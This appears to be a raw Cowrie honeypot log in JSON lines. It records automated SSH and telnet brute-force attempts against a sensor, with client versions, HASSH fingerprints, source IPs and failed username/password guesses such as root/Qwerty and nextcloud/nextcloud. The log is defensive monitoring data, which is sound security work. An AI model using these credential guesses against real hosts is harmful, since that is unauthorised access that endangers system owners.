{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:42.465090Z","src_ip":"192.109.200.237","session":"f44bf5bab49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:43.550123Z","src_ip":"192.109.200.237","session":"f44bf5bab49c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46578,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba67165b7b01","protocol":"ssh","message":"New connection: 192.109.200.237:46578 (159.203.135.109:22) [session: ba67165b7b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:45.584916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:45.590096Z","src_ip":"192.109.200.237","session":"ba67165b7b01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:45.672535Z","src_ip":"192.109.200.237","session":"ba67165b7b01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:45.973549Z","src_ip":"192.109.200.237","session":"ba67165b7b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40594,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfe21f4daa87","protocol":"telnet","message":"New connection: 152.42.224.71:40594 (10.17.0.5:23) [session: bfe21f4daa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:46.423800Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:47.058646Z","src_ip":"192.109.200.237","session":"ba67165b7b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.232.23","src_port":37782,"dst_ip":"10.17.0.5","dst_port":22,"session":"07120a73c3ca","protocol":"ssh","message":"New connection: 71.6.232.23:37782 (10.17.0.5:22) [session: 07120a73c3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:49.063463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_6.6.1","message":"Remote SSH version: SSH-2.0-OpenSSH_6.6.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:49.068383Z","src_ip":"71.6.232.23","session":"07120a73c3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5445c358120b523b688fb5f70acd1122","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5445c358120b523b688fb5f70acd1122","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:49.140259Z","src_ip":"71.6.232.23","session":"07120a73c3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46582,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d79d129b0ab","protocol":"ssh","message":"New connection: 192.109.200.237:46582 (159.203.135.109:22) [session: 5d79d129b0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:49.208127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:49.213345Z","src_ip":"192.109.200.237","session":"5d79d129b0ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:49.296860Z","src_ip":"192.109.200.237","session":"5d79d129b0ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:49.545839Z","src_ip":"192.109.200.237","session":"5d79d129b0ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:50.631514Z","src_ip":"192.109.200.237","session":"5d79d129b0ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":49318,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9423ba5a4a9","protocol":"ssh","message":"New connection: 62.133.62.83:49318 (159.203.135.109:22) [session: b9423ba5a4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:51.163924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:51.169570Z","src_ip":"62.133.62.83","session":"b9423ba5a4a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:51.249269Z","src_ip":"62.133.62.83","session":"b9423ba5a4a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ericsson","message":"login attempt [root/ericsson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:51.491563Z","src_ip":"62.133.62.83","session":"b9423ba5a4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:52.577817Z","src_ip":"62.133.62.83","session":"b9423ba5a4a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54162,"dst_ip":"159.203.135.109","dst_port":22,"session":"e37a8962e26a","protocol":"ssh","message":"New connection: 192.109.200.237:54162 (159.203.135.109:22) [session: e37a8962e26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:52.597315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:52.603155Z","src_ip":"192.109.200.237","session":"e37a8962e26a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:52.685914Z","src_ip":"192.109.200.237","session":"e37a8962e26a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:52.933682Z","src_ip":"192.109.200.237","session":"e37a8962e26a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:54.047949Z","src_ip":"192.109.200.237","session":"e37a8962e26a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54178,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c31872f61cf","protocol":"ssh","message":"New connection: 192.109.200.237:54178 (159.203.135.109:22) [session: 4c31872f61cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:55.899584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:55.904727Z","src_ip":"192.109.200.237","session":"4c31872f61cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:55.987199Z","src_ip":"192.109.200.237","session":"4c31872f61cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:56.236536Z","src_ip":"192.109.200.237","session":"4c31872f61cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:57.063620Z","src_ip":"71.6.232.23","session":"07120a73c3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.789069414138794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:57.068570Z","src_ip":"152.42.224.71","session":"c5b760adbc28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:57.325015Z","src_ip":"192.109.200.237","session":"4c31872f61cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.89197826385498,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:57.331292Z","src_ip":"152.42.224.71","session":"db26e4b04aa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.75894570350647,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:57.639525Z","src_ip":"152.42.224.71","session":"ae747342e9df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54184,"dst_ip":"159.203.135.109","dst_port":22,"session":"60934c504c49","protocol":"ssh","message":"New connection: 192.109.200.237:54184 (159.203.135.109:22) [session: 60934c504c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:59.229805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:59.288063Z","src_ip":"192.109.200.237","session":"60934c504c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:59.424792Z","src_ip":"192.109.200.237","session":"60934c504c49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:59.680332Z","src_ip":"192.109.200.237","session":"60934c504c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:00.765045Z","src_ip":"192.109.200.237","session":"60934c504c49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53694,"dst_ip":"159.203.135.109","dst_port":22,"session":"359aea79fea2","protocol":"ssh","message":"New connection: 192.109.200.237:53694 (159.203.135.109:22) [session: 359aea79fea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:02.805370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:02.811309Z","src_ip":"192.109.200.237","session":"359aea79fea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:02.894677Z","src_ip":"192.109.200.237","session":"359aea79fea2","protocol":"ssh"}
